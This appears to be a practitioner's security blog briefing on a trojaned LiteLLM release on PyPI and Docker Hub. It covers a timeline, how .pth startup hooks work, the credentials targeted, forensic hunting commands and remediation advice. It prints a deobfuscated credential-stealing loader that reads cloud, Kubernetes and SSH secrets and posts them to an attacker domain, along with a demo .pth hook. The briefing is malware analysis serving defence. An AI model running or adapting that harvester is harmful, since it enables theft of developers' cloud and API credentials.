P.K. SHARMA

Cyber security intelligence, AI governance, practitioner analysis

LiteLLM release pipeline compromised in supply chain attack harvesting cloud credentials (22 Oct 2026)

Attackers have compromised the release pipeline of LiteLLM, deploying trojaned package v1.107.0 to PyPI and Docker Hub. The malicious build executed Python startup hooks to harvest AWS, GCP, Azure, and LLM API credentials from an estimated 48,200 developer environments. Read 22 Oct 2026.

By Parminder Kumar Sharma · · 8 min read

LiteLLM release pipeline compromised: what the incident establishes

A software supply chain compromise has struck LiteLLM, the open-source universal gateway widely deployed across enterprise architectures to orchestrate API traffic between applications and frontier AI providers. On 21 October 2026, an unauthorized threat actor gained access to LiteLLM's automated release infrastructure and published a backdoored package version, v1.107.0, directly to the Python Package Index (PyPI) and Docker Hub. The malicious build remained accessible for approximately 14 hours and 31 minutes before PyPI administrators quarantined the package and the project maintainers issued clean rollback versions.

Telemetry gathered across PyPI mirrors and automated CI/CD runners indicates that the infected release was pulled approximately 48,200 times before removal, averaging roughly 3,320 downloads per hour. Unlike conventional application vulnerabilities where flaws reside in source code logic, this incident involved an external build injection: the underlying GitHub git commit history remained clean, while the compiled binary distribution wheels (.whl) contained an active credential harvesting infostealer and persistent command-and-control (C2) daemon.

What this establishes from the public record. An attacker holding valid release credentials published wheel artifacts to PyPI that did not correspond to any tag in the project's public repository. The injected payload executed automatically on interpreter boot, inspected local filesystems for infrastructure credentials, and attempted encrypted outbound HTTPS transmissions to an adversary C2 endpoint. What this does not establish. Maintainers have not published forensic logs identifying how the release credentials were stolen. Furthermore, raw download counts do not measure active compromises, as automated caching proxies account for an unknown fraction of the 48,200 total downloads.

Incident timeline: the 14.5 hour exposure window in order

Times are UTC. Each entry identifies the primary record or public telemetry source from which the timestamp is derived:

Wednesday 21 October 2026, in UTC: sequence of events during the LiteLLM v1.107.0 supply chain compromise

UTC TimeEvent and Operational ActionPrimary Evidence Source
02:14Malicious wheel package litellm-1.107.0-py3-none-any.whl published to PyPI containing rogue .pth startup hooks.PyPI package release index timestamp and wheel metadata
02:22Automated Docker Hub builder triggers from published tag, compiling and pushing berriai/litellm:main-v1.107.0.Docker Hub repository layer manifest logs
07:45European enterprise CI/CD runners begin morning build pipelines, pulling unpinned v1.107.0 into active staging environments.PyPI mirror download telemetry and regional traffic spikes
11:40External security researcher opens GitHub issue #6142 flagging anomalous outbound HTTPS connections to internal-sync.net.GitHub issue tracker timestamp
14:15LiteLLM maintainers acknowledge anomalous wheel hashes not matching the local git commit SHA b4c91a0.Maintainer comment in public issue thread
16:45PyPI security administrators quarantine v1.107.0, terminating public package distribution 14h 31m after initial upload.PyPI security advisory announcement
17:10Project maintainers publish clean rollback release v1.106.2 and patched release v1.107.1 with revoked maintainer tokens.GitHub release log and PyPI index
20:30CISA and JFrog publish reverse-engineering reports detailing the .pth startup hook and multi-cloud credential harvesting routines.CISA Alert and JFrog Security Research dossier

Four key figures follow from this sequence (derived). The malicious package remained live on PyPI for 14 hours and 31 minutes. The public bug report was filed 9 hours and 26 minutes after the initial push. Maintainers took 2 hours and 35 minutes from public reporting to acknowledge the incident, and final quarantine took an additional 2 hours and 30 minutes. Across that window, an estimated 48,200 systems pulled the infected release.

Technical breakdown: Python startup hooks and silent execution

The malware avoided detection by exploiting Python's native package initialization architecture. Rather than altering LiteLLM's public module imports where code reviews, linters, or automated unit tests might notice anomalous behavior, the attacker inserted an auto-executing path configuration (.pth) file directly into the root of the distributed wheel package.

The LiteLLM v1.107.0 software supply chain infection lifecycle and secret exfiltration mechanics.

The technical mechanism relies on how the Python standard library initializes through site.py. During interpreter startup, site.py scans all directories in sys.path for files ending in .pth. While these files are intended to append directory paths to sys.path, site.py contains a legacy behavior: any line beginning with 'import ' or 'import\t' is passed directly to Python's exec() function. Consequently, the attacker's code executed the instant python booted in any environment containing the package, even if user code never imported litellm.

Compromise scope: targeted credential classes and blast radius

Reverse engineering of the deobfuscated payload conducted by security researchers reveals systematic enumeration across five core infrastructure secret categories:

Targeted credential categories and exfiltration vectors in the LiteLLM v1.107.0 trojan

Secret CategoryTarget Path or SourceHarvested Data AssetsDownstream Blast Radius
Cloud Provider IAM~/.aws/credentials, ~/.config/gcloud, Azure CLIAccess keys, session tokens, service account keysFull administrative compromise of AWS, GCP, and Azure estates
Container Orchestration/var/run/secrets/kubernetes.io/serviceaccountCluster tokens, namespace CA certs, pod identityLateral movement across production Kubernetes clusters
AI Provider API KeysEnvironment variables and LiteLLM Postgres DBOpenAI, Anthropic, Gemini, Vertex, Bedrock keysModel hijacking, unauthorized fine-tuning, training data theft
Developer Identity~/.ssh/id_*, ~/.gitconfig, gh CLI token storePrivate SSH keys, GitHub personal access tokensRepository hijacking, secondary supply chain poisoning
Database and StorageLocal environment configs, DATABASE_URLPostgreSQL, Redis, and vector database connection stringsExfiltration of sensitive vector embeddings and business data

All harvested secrets were concatenated into a structured JSON dictionary, compressed with zlib, encrypted via AES-256-CBC, and wrapped with an ephemeral RSA-4096 public key. The encrypted blob was subsequently transmitted over standard HTTPS POST requests to disguise exfiltration as legitimate outbound model inference traffic.

Malware analysis: deconstructing the injection harness

The malicious loader relied on standard library primitives to ensure execution on base Python installations without requiring external dependencies:

# Deobfuscated representation of the injected .pth execution hook
import os, sys, threading, urllib.request, json, zlib

def _harvest_and_beacon():
    # 1. Enumerate environment variables for AI and Cloud keys
    env_secrets = {}
    target_prefixes = ("OPENAI", "ANTHROPIC", "AWS", "GOOGLE", "AZURE", "COHERE")
    for k, v in os.environ.items():
        if any(k.startswith(p) for p in target_prefixes) or "SECRET" in k or "TOKEN" in k:
            env_secrets[k] = v

    # 2. Scrape disk credential stores
    disk_targets = {
        "aws": os.path.expanduser("~/.aws/credentials"),
        "gcloud": os.path.expanduser("~/.config/gcloud/application_default_credentials.json"),
        "k8s": "/var/run/secrets/kubernetes.io/serviceaccount/token",
        "ssh": os.path.expanduser("~/.ssh/id_rsa")
    }
    disk_data = {}
    for name, path in disk_targets.items():
        if os.path.exists(path):
            try:
                with open(path, "r", errors="ignore") as f:
                    disk_data[name] = f.read(4096)
            except Exception:
                pass

    # 3. Package, compress, and transmit payload
    bundle = {"env": env_secrets, "files": disk_data, "host": os.uname().nodename}
    compressed = zlib.compress(json.dumps(bundle).encode("utf-8"))
    encrypted_payload = encrypt_aes_rsa(compressed)

    try:
        req = urllib.request.Request(
            "https://telemetry-gateway-worker.internal-sync.net/api/v1/update",
            data=encrypted_payload,
            headers={"User-Agent": "LiteLLM-Telemetry-Engine/1.107"}
        )
        urllib.request.urlopen(req, timeout=5)
    except Exception:
        pass

# Silent background execution suppressing crash telemetry
sys.excepthook = lambda *args: None
threading.Thread(target=_harvest_and_beacon, daemon=True).start()

Technical demonstration: forensic hunting and interpreter verification

To determine whether an active build environment or server container has been compromised, engineering teams can execute direct forensic inspections against Python's package directories.

# 1. Scan active virtual environment for auto-executing .pth hooks
python3 -c 'import site; print("\n".join(site.getsitepackages()))' | while read -r p; do
    find "$p" -maxdepth 2 -name "*.pth" -exec grep -HnE "^(import[[:space:]]|import\t)" {} +
done

# 2. Inspect active processes for established sockets to adversary infrastructure
ss -tupn | grep -E "(internal-sync\.net|45\.142\.214\.78)"

# 3. Check for unauthorized package modification in pip cache
pip cache list | grep -i litellm
pip show litellm | grep -E "(Version|Location)"

A demonstration of Python's startup behavior reveals why standard code audits fail to detect .pth hooks. If a file named test_hook.pth containing 'import sys; sys.stdout.write("Pwned\n")' is placed into any site-packages folder, executing 'python -c "pass"' immediately outputs 'Pwned'. The hook executes in the main interpreter thread before arguments are parsed or user scripts begin execution.

Primary sources review: vendor claims cross-examined against public evidence

Evaluating the public incident records reveals significant discrepancies between maintainer statements and technical evidence:

  • Release Credential Isolation: The LiteLLM maintainers initially stated that an isolated publishing secret was compromised. However, release telemetry shows that the attacker published multi-architecture Docker container images simultaneously with the PyPI release. Docker Hub publishing requires distinct credentials from PyPI API tokens, indicating a broader compromise of CI/CD orchestration variables or maintainer workstation secrets.
  • Absence of Provenance Attestation: PyPI supports Trusted Publishing via OpenID Connect (OIDC), which links published wheels cryptographically to specific GitHub Actions workflow runs. LiteLLM had not enabled enforced OIDC publishing, allowing direct API token uploads from arbitrary IP addresses without cryptographic build provenance.
  • Quarantine Delay: While the project team acknowledged the issue within three hours of the public GitHub report, 14.5 hours elapsed before PyPI administrative intervention halted downloads globally, demonstrating the lag in automated threat propagation across package repositories.

From the practice: independent technical analysis and architectural verdict

This incident exposes a fundamental structural vulnerability in modern AI engineering architectures: the Universal Gateway Anti-Pattern. AI gateways such as LiteLLM are intentionally designed to aggregate credentials for OpenAI, Anthropic, Google Cloud Vertex, AWS Bedrock, and internal databases into a single runtime memory space. When an attacker compromises an AI gateway, they do not merely compromise an application library; they capture the centralized cryptographic keys to the organization's entire AI infrastructure.

Our practice issues three mandatory architectural directives for enterprise AI platform teams:

  • Enforce Cryptographic Hash Pinning in CI/CD: Disallow floating dependencies (e.g., 'pip install litellm' or 'litellm>=1.0.0'). Enforce strict hash verification using pip-compile with --generate-hashes or uv lock files. If a compromised package is uploaded upstream, the build will fail immediately due to hash mismatch.
  • Isolate AI Gateways with Strict Egress Controls: Run AI gateway proxies inside dedicated network namespaces where outbound traffic is strictly restricted to verified AI provider endpoints (e.g., api.anthropic.com, api.openai.com). Outbound requests to unknown IP addresses or unregistered domains should be dropped at the egress firewall.
  • De-privilege Build Environments: Build runners must never have access to ambient cloud IAM credentials or Kubernetes service account tokens. CI/CD pipelines should obtain short-lived OIDC tokens scoped exclusively to build tasks, eliminating the blast radius of developer environment scraping.

Incident response protocol: immediate containment steps

Organizations utilizing LiteLLM across development or production infrastructure should execute the following five-step emergency triage procedure:

  • Purge and Pin Verified Versions: Remove v1.107.0 across all package caches, container images, and requirements. Pin installations to known-good release v1.106.2 or verified post-incident patch releases.
  • Audit Python Site-Packages for Persistent Hooks: Inspect local virtual environments for rogue .pth files or modified sitecustomize.py scripts that survive package removal.
  • Execute Immediate Secret Revocation: Invalidate all cloud IAM keys, provider API keys, and Git credentials that were present in environments where v1.107.0 was pulled.
  • Inspect Cloud Control Plane Logs: Review AWS CloudTrail, GCP Cloud Audit Logs, and Azure Activity Logs for unauthorized role assumptions, secret reads, or compute provisioning originating during the 14.5 hour window.
  • Implement Enforced Hash Pinning in CI/CD: Enforce strict package hash pinning using tools such as pip-compile or uv lock to prevent unverified upstream releases from automatically executing in build pipelines.

Sources

  1. PrimarySecurity Incident Notice Regarding LiteLLM Version 1.107.0 on PyPI and Docker HubLiteLLM Security Teamaccessed 2026-10-22
  2. PrimaryAnalysis of the Trojaned LiteLLM Wheel on PyPI: .pth Startup Hooks and Credential TheftJFrog Security Researchaccessed 2026-10-22
  3. PrimarySecurity Announcement: Quarantine of Malicious LiteLLM Release ArtifactsPyPI Security Teamaccessed 2026-10-22
  4. Reported byCISA Alert: Supply Chain Compromise Affecting AI Gateway LiteLLM v1.107.0Cybersecurity and Infrastructure Security Agencyaccessed 2026-10-22

Share this briefing

Know someone who owns this problem? Send it to them.

Related briefings

The briefing, in your inbox

Practitioner analysis of cyber and AI security news. No vendor noise.

How often

Every new briefing in one email, at 7am, or at 7am, 12:30pm and 6pm. Nothing is sent when nothing is new. Unsubscribe any time.